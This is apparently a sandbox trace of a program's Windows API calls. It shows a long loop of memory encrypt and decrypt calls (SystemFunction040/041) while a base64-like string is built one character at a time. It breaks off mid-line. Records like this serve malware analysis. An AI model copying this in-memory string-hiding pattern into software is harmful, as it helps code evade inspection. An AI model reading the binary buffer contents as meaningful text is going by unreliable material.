0x0 [0205.212] SysStringLen (param_1="NDZlO") returned 0x8 [0205.212] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0205.212] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0205.212] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0205.212] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0205.212] SysStringLen (param_1="NDZlOD") returned 0x8 [0205.212] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0205.212] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0205.212] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0205.212] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0205.212] SysStringLen (param_1="NDZlODR") returned 0x8 [0205.212] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0205.213] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0205.213] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0205.213] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0205.213] SysStringLen (param_1="NDZlODRm") returned 0x8 [0205.213] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0205.213] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0205.213] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0205.213] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0205.213] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0205.213] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0205.360] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0205.360] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0205.361] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0205.361] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0205.361] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0205.361] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0205.361] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0205.361] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0205.361] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0205.361] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0205.361] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0205.361] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0205.361] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0205.361] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0205.361] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0205.362] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0205.362] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0205.362] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0205.362] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0205.362] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0205.362] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0205.362] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0205.362] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0205.362] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0205.362] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0205.362] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0205.362] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0205.363] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0205.363] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0205.363] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0205.363] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0205.363] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0205.363] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0205.363] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0205.363] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0205.363] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0205.363] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0205.363] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0205.364] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0205.364] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0205.364] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0205.364] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0205.364] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0205.364] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0205.364] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0205.364] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0205.364] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0205.364] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0205.364] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0205.364] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0205.365] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0205.365] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0205.365] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0205.365] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0205.365] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0205.365] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0205.365] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0205.365] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0205.365] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0205.365] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0205.365] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0205.365] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0205.365] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0205.365] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0205.366] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0205.366] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0205.366] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0205.366] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0205.366] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0205.366] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0205.366] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0205.366] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0205.366] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0205.366] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0205.366] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0205.366] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0205.366] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0205.367] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0205.367] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0205.367] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0205.367] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0205.367] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0205.367] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0205.367] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0205.367] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0205.367] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0205.368] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0205.368] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0205.368] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0205.368] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0205.368] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0205.368] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0205.368] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0205.368] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0205.368] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0205.368] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0205.368] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0205.368] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0205.368] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0205.369] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0205.369] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0205.369] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0205.369] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0205.369] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0205.369] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0205.369] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0205.369] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0205.369] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0205.369] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0205.369] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0205.369] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0205.369] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0205.370] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0205.371] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0205.371] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0205.371] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0205.371] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0205.371] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0205.371] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0205.371] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0205.371] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0205.371] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0205.372] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0205.372] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0205.372] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0205.372] SystemFunction041 (in: Memory=0x5c91bac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91bac) returned 0x0 [0205.372] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0205.372] SystemFunction040 (in: Memory=0x5c91bac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91bac) returned 0x0 [0205.372] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0205.372] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0205.372] SystemFunction041 (in: Memory=0x5c91bac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91bac) returned 0x0 [0205.372] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0205.372] SystemFunction040 (in: Memory=0x5c91bac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91bac) returned 0x0 [0205.373] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0205.373] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0205.373] SystemFunction041 (in: Memory=0x5c91bac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91bac) returned 0x0 [0205.373] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0205.373] SystemFunction040 (in: Memory=0x5c91bac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91bac) returned 0x0 [0205.373] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0205.373] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0205.373] SystemFunction041 (in: Memory=0x5c91bac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91bac) returned 0x0 [0205.373] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0205.373] SystemFunction040 (in: Memory=0x5c91bac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91bac) returned 0x0 [0205.373] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0205.373] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0205.373] SystemFunction041 (in: Memory=0x5c91bac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91bac) returned 0x0 [0205.374] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0205.374] SystemFunction040 (in: Memory=0x5c91bac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91bac) returned 0x0 [0205.374] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0205.374] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0205.374] SystemFunction041 (in: Memory=0x5c91bac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91bac) returned 0x0 [0205.374] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0205.374] SystemFunction040 (in: Memory=0x5c91bac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91bac) returned 0x0 [0205.374] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0205.374] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0205.374] SystemFunction041 (in: Memory=0x5c91bac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91bac) returned 0x0 [0205.374] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0205.374] SystemFunction040 (in: Memory=0x5c91bac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91bac) returned 0x0 [0205.374] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0205.374] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0205.375] SystemFunction041 (in: Memory=0x5c91bac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91bac) returned 0x0 [0205.375] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0205.375] SystemFunction040 (in: Memory=0x5c91bac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91bac) returned 0x0 [0205.375] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0205.375] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0205.375] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0205.375] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製對尀瀀眀爀猀栀猀椀∀) returned 0x30 [0205.375] SystemFunction041 (in: Memory=0x3d9b44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3d9b44) returned 0x0 [0205.375] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhNꩦꉍ楫돫稔簗漢") returned 0x30 [0205.375] SystemFunction040 (in: Memory=0x3d9b44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3d9b44) returned 0x0 [0205.376] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製㔍琨თ倷쑍问׍摠⊰) returned 0x30 [0205.376] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製㔍琨თ倷쑍问׍摠⊰) returned 0x30 [0205.376] SystemFunction041 (in: Memory=0x3d9b44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3d9b44) returned 0x0 [0205.376] SysStringLen 